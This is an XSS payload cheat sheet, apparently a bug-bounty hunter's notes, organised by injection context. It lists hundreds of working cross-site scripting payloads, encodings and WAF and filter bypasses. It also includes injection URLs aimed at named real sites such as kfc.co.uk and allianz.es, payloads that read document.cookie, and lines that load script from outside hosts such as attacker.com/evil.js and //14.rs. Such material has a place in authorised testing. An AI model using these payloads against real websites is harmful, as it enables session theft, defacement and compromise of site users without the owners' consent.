# XSS Context Besed

## <mark style="color:yellow;">Path-based xss with different types of methods</mark>

### <mark style="color:red;">Inecject payload in every path and check xss</mark>&#x20;

### <mark style="color:red;">append fake parameters in every path and check the xss vulnerability</mark>

## <mark style="color:yellow;">PATH</mark> <mark style="color:yellow;">Based -</mark> XSS Injection

```
Example:
https://premierbuild.com/asad"><img src=a onerror=alert(document.domain)>/..CFIDE/administrator/index.cfm
https://www.premierbuild.com/asad%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3E/..CFIDE/administrator/index.cfm
https://mobile.premierbuild.com/asad%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3E/..CFIDE/administrator/index.cfm
https://m.atlas.kfc.co.uk:8443/MicroStrategyLibrary/style/vge01'-alert(document.domain)-'vephk/favicon.ico
https://app-webtech-web.plutopreprod.tv/stream-br/category/5"><svg onload=alert(document.cookie)>"f862733747338000786e085/view-all
https://www.allianz.es/xx<a href="javascript:prompt(document%2edomain)">aaaa.childrenlist.html
https://www.allianz.es/seguros/especialidades/"><img src=a onerror=alert(document.domain)>.childrenlist.html
```

* first Realize what Path value is Reflected in the Source Code:
* Copy Path value and Search in Source Code  then escape it....

```
<form action="/gym.php" method="POST">
```

* Then, type Simple input like <mark style="color:yellow;">asad</mark> after <mark style="color:yellow;">`Path-Value`</mark>and realize that input was reflected on the page or source code or inspect Dom
* if reflected then put <mark style="color:yellow;">`Path-Value">asad`</mark> and check if it escapes the area where it is reflected
* Then try After Path:  <mark style="color:yellow;">`Path-Value'"><script>alert(1)</script>`</mark>
* And try<mark style="color:yellow;">`/`</mark> After Path:  <mark style="color:yellow;">`Path-Value/'"><script>alert(1)</script>`</mark>
* And try<mark style="color:yellow;">`;`</mark> After Path:  <mark style="color:yellow;">`Path-Value/;'"><script>alert(1)</script>`</mark>&#x20;
* And Then try <mark style="color:yellow;">`?`</mark> After Path:  <mark style="color:yellow;">`Path-Value/?'"><script>alert(1)</script>`</mark>
* And Then try <mark style="color:yellow;">`?`</mark> After Path:  <mark style="color:yellow;">`Path-Value/?&xx&xx'"><script>alert(1)</script>`</mark>
* And Then try <mark style="color:yellow;">`>`</mark> After Path:  <mark style="color:yellow;">`Path-Value>'"><script>alert(1)</script>`</mark>
* Try <mark style="color:yellow;">&</mark> After Path:  <mark style="color:yellow;">`Parameter-Value&'"><script>alert(1)</script>`</mark>&#x20;

## <mark style="color:red;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">My-XSS-Probe:</mark>

{% code lineNumbers="true" %}

```
'>"><S>asad
'"></h2><marquee>Hacked_by_Synack</marquee>
'"/><a href="rg"><h2>asad
```

{% endcode %}

## <mark style="color:yellow;">If Payload Encode then Search</mark> <mark style="color:red;">.replace</mark> <mark style="color:yellow;">in Source-Code</mark>

{% embed url="<https://tools.w3cub.com/urlencode>" %}

{% embed url="<https://tools.w3cub.com/html-escape-unescape>" %}

{% embed url="<https://tools.w3cub.com/js-deobfuscate>" %}

## <mark style="color:yellow;">Double URL Escape encoding:</mark>

> <pre><code>%253Cscript%253Ealert(origin)%253C%252Fscript%253E
> %2527%2522%253E%253CScRiPt%253Econfirm%25281%2529%253C%252FScRiPt%253E
> --------------------------------------------------
> '  -->  %2527
> <strong>"  -->  &#x26;#34; 
> </strong>>  -->  %253E 
> &#x3C;  -->  %253C
> /  -->  %252F
> Space -->  %2520
> (  -->  %2528
> )  -->  %2529
> </code></pre>

## <mark style="color:yellow;">Unicode Escape encoding:</mark>

> <pre><code>\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(origin)\u0022\u003e
> \u0022\u003e\u003cimg src=x onerror=alert(1)\u003e
> --------------------------------------------------
> '  -->  \u0027
> <strong>"  -->  \u0022 
> </strong>>  -->  \u003e 
> &#x3C;  -->  \u003c
> /  -->  \u002f
> Space -->  \u0020
> =  -->  \u003d
> (  -->  \u0028
> )  -->  \u0029
> </code></pre>

## <mark style="color:yellow;">HTML entity Escape encoding:</mark>

> ```
> &apos;&quot;&gt;&lt;img src=x onerror=&quot;confirm(origin)&quot;&gt;
> &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt;
> &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62;
> --------------------------------------------------
> %3CSvg+OnLoad=confirm(1)%3E%80
> <Svg+OnLoad%3Dconfirm%281%29>�
> --------------------------------------------------
> '  -->  &apos;
> "  -->  &quot;
> >  -->  &gt; 
> <  -->  &lt;
> /  -->  &sol;
> =  -->  &equals;
> (  -->  &lpar;
> )  -->  &rpar;
> ```

## <mark style="color:red;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">HTML Context:</mark>

```
<body>
{{userinput}}
</body> 
```

#### <mark style="color:red;">Sunerio:</mark>

```
```

<pre><code>'">&#x3C;img src='#' onerror='confirm(window.origin)'>">
<strong>&#x3C;img src=x onerror="confirm(origin)">
</strong>&#x3C;img/src/onerror=confirm[document`location`]>
&#x3C;iframe onload=confirm(1)>
&#x3C;ScRiPt>alert(1)&#x3C;/sCrIpT>
&#x3C;Img Src=x onerror=confirm(1)>
&#x3C;Svg OnLoad=confirm(1)>
&#x3C;embed src=//14.rs>
&#x3C;script/src=//15.rs>&#x3C;/script>
&#x3C;script src=//⑮.₨>&#x3C;/script>
&#x3C;a href=JaVaSCrIpT:confirm(2)>XSS&#x3C;/a>
&#x3C;k autofocus contenteditable onfocus=confirm(1)>focus this!
</code></pre>

```
%22%27%2F%3E%3Cscript%3Ealert%28'Props+To+TheRat'%29%3C%2Fscript%3E&query=3&scope=domain&artifact=2&Button=Search 
```

## <mark style="color:red;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Attribute Context:</mark>

```
<input type="" name="input" value="user input"> <!-- double quoted -->
<input type="" name="input" value='user input'> <!-- single quoted -->
<input type="" name="input" value=user input> <!-- without quotations -->
```

#### <mark style="color:red;">Sunerio:</mark>

```
```

```
'"onmouseover=alert(1)//
"autofocus onfocus=confirm`1`
'"autofocus/onfocus="confirm(1)
'"><a href=JaVaSCrIpT:confirm(document.domain);>Click Hare</a>
'"><IFRAME SRC="javascript:confirm('XSS');"></IFRAME>
'"><a autofocus contenteditable onfocus=alert(1)>focus this!
'"><ScRiPt>confirm(1)</sCrIpT>
'"><embed src=//14.rs>
'"><img src=x onerror="confirm(origin)">
'"><Svg OnLoad=confirm(1)>
----------------------
# Hidden Inputs:
"accesskey="X" onclick="alert(1)"   --> Alt+SHIFT+X
----------------------
# Disabled Inputs (Firefox only):
"style="position:fixed;top:0;left:0;border:999em solid red;" onmouseover="alert(1)
--------------------------------------------------------------------
```

## <mark style="color:red;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">URL Context:</mark>

### <mark style="color:green;">Script Tag:</mark>

```
<script src="userinput"></script>
```

#### <mark style="color:red;">Sunerio:</mark>

```
```

```
'"><Img Src=x onerror=confirm(1)>
'"><Svg OnLoad=confirm(1)>
http://attacker.com/evil.js
```

### <mark style="color:green;">Anchor Tag:</mark>

```
<a href="userinput">Click</a>
<a href="userinput" class="btn">button</a>
```

#### <mark style="color:red;">Sunerio:</mark>

{% code lineNumbers="true" %}

```
<a href="https://www.dahaboo.com/voitures-12/?t=1&'"><script>alert(1)</script>/=">
```

{% endcode %}

```
javascript:alert(1)//
%00javascript:alert(1)//
%20javascript:alert(1)//
javascript:javascript:alert(1)
/?.'"><script>alert(1)</script>
&'"><script>alert(1)</script>
</a><ScRiPt>alert(1)</sCrIpT>
'"><Img Src=x onerror=confirm(1)>
'"><Svg OnLoad=confirm(1)>
```

### <mark style="color:green;">Iframe Tag:</mark>

```
<iframe src="userinput" />
```

#### <mark style="color:red;">Sunerio:</mark>

```
```

```
javascript:confirm(1)//
'"/><Img Src=x onerror=confirm(1)>
'"/><Svg OnLoad=confirm(1)>
```

### <mark style="color:green;">Form Tag:</mark>

```
<form action="userinput">
```

#### <mark style="color:red;">Sunerio:</mark>

{% code lineNumbers="true" %}

```
<form  action="/login.php/"><script>alert(1)</script>
```

{% endcode %}

```
/” onmouseover=”confirm(1);
/'"><script>confirm(1)</script>
'"><Img Src=x onerror=confirm(1)>
'"><Svg OnLoad=confirm(1)>
'"></form>"><ScRiPt>confirm(1)</sCrIpT>
javascript:confirm(1)//
```

### <mark style="color:green;">Frameset Tag:</mark>

```
<frameset><frame src="userinput"></frameset>
```

#### <mark style="color:red;">Sunerio:</mark>

```
'"><Img Src=x onerror=confirm(1)>
'"><Svg OnLoad=confirm(1)>
javascript:confirm(1)//
```

```
"><Img Src=x onerror=confirm(1)>
'"><Svg OnLoad=confirm(1)>
http://attacker.com/evil.js?#
```

## <mark style="color:red;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">javascript Context:</mark>

### <mark style="color:green;">Single Qoute:</mark>

```
<script> var x='userinput'; </script>
```

#### <mark style="color:red;">Sunerio:</mark>

{% code lineNumbers="true" %}

```
var lang = ''-alert(Document.domain)-'';
var paramType = ''-alert(Document.domain)-'',
```

{% endcode %}

```
';alert(document.domain)//
'-(alert)(origin)-'
'-alert(document.domain)-'
'+alert(document.domain)+'
'*alert(document.domain)*'
</script><svg/onload=alert(1)>
if Filtered \: <iframe srcdoc="<script nonce=ETRACTED_VAL>alert(origin);</script>">
```

### <mark style="color:green;">Double Qoute:</mark>

```
<script> var x="userinput"; </script>
```

#### <mark style="color:red;">Sunerio:</mark>

```
```

```
";alert(document.domain)//
"-(alert)(origin)-"
"-alert(document.domain)-"
"+alert(document.domain)+"
"*alert(document.domain)*"
</script><svg/onload=alert(1)>
if Filtered \: <iframe srcdoc="<script nonce=ETRACTED_VAL>alert(origin);</script>">
```

### <mark style="color:green;">Without Qoute:</mark>

```
<script> var x=userinput; </script>
```

#### <mark style="color:red;">Sunerio:</mark>

```
```

<pre><code><strong>alert(document.domain);
</strong>1-alert(document.domain);
alert(document.domain)//
&#x3C;/script>&#x3C;svg/onload=alert(1)>
</code></pre>

## <mark style="color:red;">---------------------------------------------------------------</mark>

{% code overflow="wrap" %}

```none
-------------------------------------------------------------------------------------
Simple Payloads:
<img Src=OnXSS OnError=alert(1)>
'"/><img src=x onerrora=confirm() onerror=confirm(1)>
'"><svg onloado=confirm() onload=confirm(1) onloado=confirm()>
 %3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E
‘"><input autofocus onfocus=alert(1)>
<ScRiPt>alert(1)</sCrIpT>
'>">"><ScRiPt>alert(1)</sCrIpT>      is very Usefull
'"></a><ScRiPt>alert(1)</sCrIpT>    if Use reflect in URL a tag in Source Code
'"></script>"><ScRiPt>alert(1)</sCrIpT> if Use reflect in a <span> tag in Source Code
</</script>script> <</svg>svg/onload=alert`xss`>// bypass filter in script tag
"><ScRiPt>alert(/OPENBUGBOUNTY/)</sCrIpT>
"/><svg+svg+svg\/\/On+OnLoAd=confirm(1)>
'"/><Img Src=OnXSS OnError=confirm("Hacked_by_ASAD")>
'"><Svg OnLoad=alert(/OPENBUGBOUNTY/)>
'"><Img Src=x onerror=alert(1)>
”/><a href=testing>THIS IS AN INJECTED HTML LINK</a>”  "/> at the start of the payload, escape <meta> tag
'"><a href="JaVaSCrIpT:alert(2)">XSS</a>
<a href="ja%0Dva%0Dscr%0Dipt:aler%0Dt(1)">  
"autofocus/onfocus="alert(/OPENBUGBOUNTY/)
<u/onmouseover=alert(1)>asad123
'"/></a></script><ScRiPt>alert(/OPENBUGBOUNTY/)</sCrIpT>
For any query feel free to contact me at: contact@muhammadasad.pk
--------------------------------------------------------------------
Bypass Injections obfuscation techniques: 

<<svg/onload=alert(1)>
"><img src=x onerrora=confirm() onerror=confirm(1)>
<dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x>
<math><style><img src onerror=alert(2)></style></math>
<img/src=x onError="`${x}`;alert(`document.domain`);">
<iframe+/ON+onload=%20alert(/str0d/)>
1'\"><img/src/onerror=.1|alert``>
\">'><details/open/ontoggle=confirm('Fire-by-Asad')>
<Img Src=//X55.is OnLoad=import(src)>

</<K><Svg Onload=alert(1)>
</<Kno XSS="><Svg Onload=alert(1)>
<!<K><Svg Onload=alert(1)>
<!<Kno XSS="><Svg Onload=alert(1)>
<Svg/OnLoad=location=textContent>JavaScrip<k>t:aler<k>t(<k>1)//
<img/src=x onError="`${x}`;alert(`1`);">

<svg onx=() onload=(confirm)(1)>
<svg on =i onload=alert(domain)>
<svg onx=() onload=window.alert?.(2)>
<svg/on%20onload=alert(1)>


<A %252F=""Href= JavaScript:k='a',top[k%2B'lert'](1)>
<a href="javas&Tab;cript:alert()">XSS</a>
<a href="javas&#9;cript:alert()">XSS</a>
<a href="javas&#x09;cript:alert()">XSS</a>
<a href="j&#9;a&#9;v&#9;a&#9;s&#9;c&#9;r&#9;i&#9;p&#9;t:alert()">XSS</a>
<a href="j&#x09;a&#x09;v&#x09;a&#x09;s&#x09;c&#x09;r&#x09;i&#x09;p&#x09;t:alert()">XSS</a>
<a href="j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t:alert()">XSS</a>


'"></a></script></title></form></span></meta></style></iframe></noscript></textarea></xmp></pre><ScRiPt>alert(/HAMZA-SAKHI/)</sCrIpT>
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">**Parameters**</mark>

### <mark style="color:red;">**looking in your Burp proxy History for ?parameter=**</mark>&#x20;

<mark style="color:red;">**You can also browse endpoint.js files (look for**</mark>**&#x20;**<mark style="color:yellow;">**`innerHTML`**</mark><mark style="color:yellow;">**,**</mark><mark style="color:yellow;">**&#x20;&#x20;**</mark><mark style="color:yellow;">**`var =`**</mark>  <mark style="color:yellow;">**`getParameter()`**</mark> <mark style="color:yellow;">**`parameter`**</mark> <mark style="color:yellow;">**`pathname`**</mark> <mark style="color:yellow;">**`document.write(`**</mark><mark style="color:yellow;">**,**</mark><mark style="color:yellow;">**&#x20;**</mark><mark style="color:yellow;">**`document.cookie`**</mark><mark style="color:yellow;">**,**</mark><mark style="color:yellow;">**&#x20;**</mark><mark style="color:yellow;">**`location.href`**</mark><mark style="color:yellow;">**,**</mark><mark style="color:yellow;">**&#x20;**</mark><mark style="color:yellow;">**`location.search`**</mark> <mark style="color:yellow;">**`redirectUrl`**</mark><mark style="color:yellow;">**,**</mark><mark style="color:yellow;">**&#x20;**</mark><mark style="color:yellow;">**`window.hash`**</mark><mark style="color:red;">**)or you can simply brute force commonly known parameter names, such as**</mark><mark style="color:red;">**&#x20;**</mark><mark style="color:red;">**`returnUrl`**</mark><mark style="color:red;">**.**</mark>

<mark style="color:green;">**large companies re-use code & parameter names across lots of endpoints.**</mark>

### <mark style="color:red;">**Note:**</mark> **Do** not waste time browsing things such as jquery.js.&#x20;

#### Typically these files do not contain anything that will be of use to you.&#x20;

#### Go for the custom-made <mark style="color:yellow;">specific endpoint.js</mark> files.&#x20;

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">HTML Injections</mark> ……

## <mark style="color:purple;">You can customize the payloads to find what it reflects and manually make a bypass payload.</mark>

## <mark style="color:yellow;">Simple HTML Injection</mark>

### <mark style="color:red;">Use when input lands inside an attribute’s value outside the tag except the ones described in the next case.</mark>

### The most straightforward one is that input is reflected just right in the code between existing tags, after or before them. Without the need to escape or break anything,

<figure><img src="https://3762688370-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiPHFhysABn70RkX2phf9%2Fuploads%2F7qeUrNFCrze0NQyMJRGX%2Fsimple-htmli.png?alt=media&#x26;token=c456c6bf-5052-4691-b246-d0e1a6cafdad" alt=""><figcaption></figcaption></figure>

```none
http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>
--------------------------------------------------------------------
><svg onload=alert(1)>
"><svg onload=alert(1)>
----------------------------------
<script>alert(1)</script>
"><script>alert(1)</script>
----------------------------------
<img src=x onerror=alert(1)>
"><img src=x onerror=alert(1)>
--------------------------------------------------------------------
<imsofake onpointerrawupdate=alert(1)>touch
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">HTML entity and URL encoding:</mark>

> ```
> "  -->  &#34; &#34;&gt;&lt;svg/onload=alert(document.cookie)&gt;
> >  -->  &gt; 
> <  -->  &lt;
> '  -->  &#x27;
> `  -->  \%60
> ```

## <mark style="color:yellow;">if Block onerror,onload,onclick Event-handler – Use this</mark>

### <mark style="color:red;">Use when input lands inside an attribute’s value of an HTML tag or outside tag. But</mark> <mark style="color:yellow;">if Block onerror, onload, onclick Event-handler</mark> <mark style="color:red;">“Then Use “</mark>onpointerrawupdate<mark style="color:red;">” e</mark>vent-handler <mark style="color:red;">case below.</mark>

#### <mark style="color:yellow;">Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload</mark>

```none
--------------------------------------------------------------------
<imsofake onpointerrawupdate=alert(1)>touch
"><imsofake onpointerrawupdate=alert(1)>touch
?Param=value"onpointerrawupdate='alert(1)'">
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Simple HTML Injection –</mark> <mark style="color:green;">Attribute Breakout</mark>

### <mark style="color:red;">Use when input lands inside an attribute’s value of an HTML tag or outside tag except the ones described in the “Tag Block Breakout” case below.</mark>

#### <mark style="color:yellow;">Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload</mark>

```none
--------------------------------------------------------------------
"><svg onload=alert(1)>
"><script>alert(1)</script>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Simple HTML Injection –</mark> <mark style="color:green;">Comments Breakout</mark>

### <mark style="color:red;">Use when input lands inside the comments section (between \<!--and --> ) of the HTML document.</mark>

```none
--------------------------------------------------------------------
--><svg onload=alert(1)>
--><script>alert(1)</script>
<?><svg onload=alert(1337)>
<?php><svg onload=alert(1337)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">inside Comments Bypass</mark>

### <mark style="color:orange;">Vector to use if only anything inside HTML comments is allowed.</mark>&#x20;

### <mark style="color:red;">Regex example: /\<!--.\*-->/</mark>

```none
--------------------------------------------------------------------
--!><svg/onload=alert(1)>
<!--><svg%20onload=alert(1)>-->
<!--><script>alert(1)</script>-->
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">HTML Injection</mark> **in JS** **(Javascript) Block** <mark style="color:green;">– Script Breakout</mark>                             &#x20;

### Input sometimes lands into a javascript block (script tags), <mark style="color:green;">but the website blocks single or Double Quotes,</mark> <mark style="color:purple;">usually in the value of some variable of the code.</mark> <mark style="color:red;">However because the HTML tags have priority in the browser’s parsing,</mark> we can simply terminate the block and insert a new tag.

<figure><img src="https://3762688370-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiPHFhysABn70RkX2phf9%2Fuploads%2Fj8aYoBUgPrMrxfCMonoU%2Fhtmli-js-block.png?alt=media&#x26;token=1e6bc60a-abdd-44b0-846a-5b88f048e5c4" alt=""><figcaption></figcaption></figure>

#### <mark style="color:yellow;">Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload</mark>

<pre class="language-none"><code class="lang-none">http://brutelogic.com.br/xss.php?c1=&#x3C;/script>&#x3C;svg onload=alert(1)>
--------------------------------------------------------------------
&#x3C;/script>&#x3C;svg onload=alert(1)>
&#x3C;/script>&#x3C;script>alert(1)&#x3C;/script>
<strong>&#x3C;/script>&#x3C;img src=x onerror=alert(document.cookie)>
</strong>--------------------------------------------------------------------
</code></pre>

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Simple HTML Injection –</mark> <mark style="color:green;">Tag Block Breakout</mark>

### <mark style="color:red;">Use when input lands inside or between opening/closing of some tags like title,</mark> <mark style="color:orange;">style, script, iframe, noscript, xmp, pre, and textarea,</mark> <mark style="color:red;">respectively.</mark>

#### <mark style="color:yellow;">Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload</mark>

<pre class="language-none"><code class="lang-none">--------------------------------------------------------------------
&#x3C;/title>&#x3C;svg onload=alert(1)>
&#x3C;/style>&#x3C;svg onload=alert(1)>
&#x3C;/form>&#x3C;svg onload=alert(1)>
<strong>&#x3C;/script>&#x3C;svg onload=alert(1)>
</strong>&#x3C;/iframe>&#x3C;svg onload=alert(1)>
&#x3C;/noscript>&#x3C;svg onload=alert(1)>
&#x3C;/textarea>&#x3C;svg onload=alert(1)>
&#x3C;/xmp>&#x3C;svg onload=alert(1)>
&#x3C;/pre>&#x3C;svg onload=alert(1)>
&#x3C;/a>&#x3C;svg onload=alert(1)>
&#x3C;/div>&#x3C;svg onload=alert(1)>
-----------------------------
">&#x3C;/title>&#x3C;svg onload=alert(1)>
<strong>">&#x3C;/style>&#x3C;svg onload=alert(1)>
</strong>">&#x3C;/form>&#x3C;svg onload=alert(1)>
<strong>">&#x3C;/script>&#x3C;svg onload=alert(1)>
</strong>">&#x3C;/iframe>&#x3C;svg onload=alert(1)>
">&#x3C;/noscript>&#x3C;svg onload=alert(1)>
">&#x3C;/textarea>&#x3C;svg onload=alert(1)>
">&#x3C;/xmp>&#x3C;svg onload=alert(1)>
">&#x3C;/pre>&#x3C;svg onload=alert(1)>
<strong>">&#x3C;/a>&#x3C;svg onload=alert(1)>
</strong>">&#x3C;/div>&#x3C;svg onload=alert(1)>
--------------------------------------------------------------------
'>&#x3C;/title>&#x3C;svg onload=alert(1)>
'>&#x3C;/style>&#x3C;svg onload=alert(1)>
'>&#x3C;/form>&#x3C;svg onload=alert(1)>
'>&#x3C;/script>&#x3C;svg onload=alert(1)>
'>&#x3C;/iframe>&#x3C;svg onload=alert(1)>
'>&#x3C;/noscript>&#x3C;svg onload=alert(1)>
'>&#x3C;/textarea>&#x3C;svg onload=alert(1)>
'>&#x3C;/xmp>&#x3C;svg onload=alert(1)>
'>&#x3C;/pre>&#x3C;svg onload=alert(1)>
'>&#x3C;/a>&#x3C;svg onload=alert(1)>
'>&#x3C;/div>&#x3C;svg onload=alert(1)>
--------------------------------------------------------------------
</code></pre>

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">HTML Injection -</mark> <mark style="color:green;">Inline</mark>

### Almost simple but with a little “> prepended to break out of the current tag.&#x20;

#### <mark style="color:yellow;">Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload</mark>

<figure><img src="https://3762688370-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiPHFhysABn70RkX2phf9%2Fuploads%2FXDg4yJnhOLDZ4ogY6rxx%2Finline-htmli.png?alt=media&#x26;token=c66b3e0a-6e2a-4c1c-bc72-3eb4c5862916" alt=""><figcaption></figcaption></figure>

<pre class="language-none"><code class="lang-none">http://brutelogic.com.br/xss.php?b1=”>&#x3C;svg onload=alert(1)>
<strong>--------------------------------------------------------------------
</strong>">&#x3C;svg onload=alert(document.cookie)>
">&#x3C;img src=x onerror=alert(document.cookie)>
">&#x3C;script>alert(document.cookie)&#x3C;/script>
--------------------------------------------
'>&#x3C;svg onload=alert(document.cookie)>
'>&#x3C;img src=x onerror=alert(document.cookie)>
'>&#x3C;script>alert(document.cookie)&#x3C;/script>
--------------------------------------------------------------------
</code></pre>

## <mark style="color:yellow;">--------------------------------------------------------------</mark>

## <mark style="color:yellow;">HTML Injection -</mark> <mark style="color:green;">Inline</mark>**: No Tag Breaking**

### <mark style="color:red;">Use when input lands inside an attribute’s value of an HTML tag but that tag can’t be terminated by greater than sign (>).</mark>

### When input lands in an HTML attribute and there’s filtering of greater than character (>), it’s not possible to break out of the current tag like in the previous case.

<figure><img src="https://3762688370-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiPHFhysABn70RkX2phf9%2Fuploads%2F1uRkLCpffMZx2uYqFe5Y%2Finline-htmli-no-breaking-fail.png?alt=media&#x26;token=3f64c9b4-2235-43a5-beac-415388277654" alt=""><figcaption><p>(>), it’s not possible to break out of current tag</p></figcaption></figure>

<mark style="color:yellow;">**So we use an event handler appropriate to the very tag we are injecting into, like:**</mark>

<mark style="color:orange;">**Which closes the value and gives room to the insertion of the onmouseover event handler. Pointing to alert(1) followed by double slashes to comment out the hanging quote, which triggers the js popup when the victim points his/her mouse over the affected input field.**</mark>

<figure><img src="https://3762688370-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiPHFhysABn70RkX2phf9%2Fuploads%2FuaclM0dNSCsiCoaNQi4P%2Finline-htmli-no-breaking.png?alt=media&#x26;token=0ba88b94-9286-46a0-bd4d-5b72d581c32f" alt=""><figcaption></figcaption></figure>

#### <mark style="color:yellow;">Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload</mark>

```none
http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)//
--------------------------------------------------------------------
"onmouseover="alert(1)
"onmouseover=alert(1)//

"autofocus/onfocus="alert(1)
"autofocus onfocus=alert(1)//

****_bypass filter_****
“o<x>nmouseover=alert<x>1//
--------------------------------------------------------------------
--------------------------------------------------------------------
'onmouseover="alert(1)
'onmouseover=alert(1)//

'autofocus onfocus="alert(1)
'autofocus onfocus=alert(1)//
--------------------------------------------------------------------
Improved Likelihood of Mouse Events

Use to create a larger area for mouse events to trigger. Add the following (as
an attribute) inside any XSS vector that makes use of mouse events like
onmouseover, onclick, etc.

style=position:fixed;top:0;left:0;font-size:999px
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">HTML Injection -</mark> <mark style="color:green;">Source</mark>

### Use when input lands as a value of the following HTML tag attributes: href, src, data, or action <mark style="color:red;">(also formaction).</mark> <mark style="color:orange;">The second one is exclusive to script tags.</mark>

```none
--------------------------------------------------------------------
javascript:alert(1)
data:,alert(1)
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">HTML Injection –</mark> <mark style="color:green;">Script Breakout</mark>

### Use when input lands anywhere within a script block. <mark style="color:red;">The vectors make use of the native (since input lands in the middle of a script block) to close the injected script.</mark>

```none
--------------------------------------------------------------------
</script><svg onload=alert(1)>
</script><script src=data:,alert(1)>
</script><script src=//brutelogic.com.br/1.js>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Multi Reflection HTML Injection</mark> - <mark style="color:green;">Double Reflection (Single Input)</mark>

### Use to take advantage of multiple reflections on the same page. <mark style="color:red;">They also have attribute-breaking capabilities with a double quote for most common scenarios.</mark>

```none
--------------------------------------------------------------------
"'onload=alert(1)><svg/1='
`/alert(1)'"><svg/onload='`
"'>alert(1)</script><script/1='
"*/alert(1)</script><script>/*
"`alert(1)</script><script>`
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Multi Reflection i HTML Injection -</mark> <mark style="color:green;">Triple Reflection (Single Input)</mark>

## Use to take advantage of multiple reflections on the same page.

```none
--------------------------------------------------------------------
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:green;">Multi-Input Reflections</mark> <mark style="color:yellow;">HTML Injection</mark> - <mark style="color:yellow;">Double & Triple</mark>

### Use to take advantage of multiple input reflections on the same page. <mark style="color:red;">Also useful in HPP (HTTP Parameter Pollution) scenarios, where there are reflections for repeated parameters. 4th payload makes use of comma-separated reflections of the same parameter.</mark>

```none
--------------------------------------------------------------------
p=<svg 1='&q='onload=alert(1)>
p=<svg/1='&q='onload='/*&r=*/alert(1)'>
p=<svg 1='&q='onload='`&r=`alert(1)'>
p=<script/&p=/src=data:&p=alert(1)>
q=<script/&q=/src=data:&q=alert(1)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Multi-Input Reflections HTML Injections</mark> - <mark style="color:green;">JSON Encode Bypass</mark>

### <mark style="color:red;">Use to take advantage of multiple input reflections on the same page. Useful when the 1st reflection has no execution potential and the 2nd reflection is on JSON encoded Javascript block. Vectors for parameters “p” and “q” and for “pq” which means just one parameter reflecting in those 2 different places of the code.</mark>

```none
--------------------------------------------------------------------
p= "><!--

q= --><svg onload=alert(1)>

pq= "--><svg onload=alert(1)><!--

p= "1='

q= '><svg onload=alert(1)>

pq= "1='><svg onload=alert(1)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Multi Reflection HTML Injection -</mark> <mark style="color:green;">Alert Reuse</mark>

### <mark style="color:red;">A vector that reflects at least twice in which the payload alert(1) is also the HTML tag or element. 2nd payload fires without user interaction.</mark>

```none
--------------------------------------------------------------------
'onclick="1>1<alert(1)//1='
'contenteditable/onfocus="1>1<alert(1)//autofocus='
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">HTML Injection</mark> – <mark style="color:green;">Escaped Quote Filter Bypass</mark>

### Use when quotes are escaped with a backslash (" or ') in HTML context. Escaping quotes in an HTML Context is useless to prevent the breakout but changes the vector in a way that can fool filters and WAFs.

```none
--------------------------------------------------------------------
"><k x="><svg onload=alert(1)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Markdown Vector</mark>

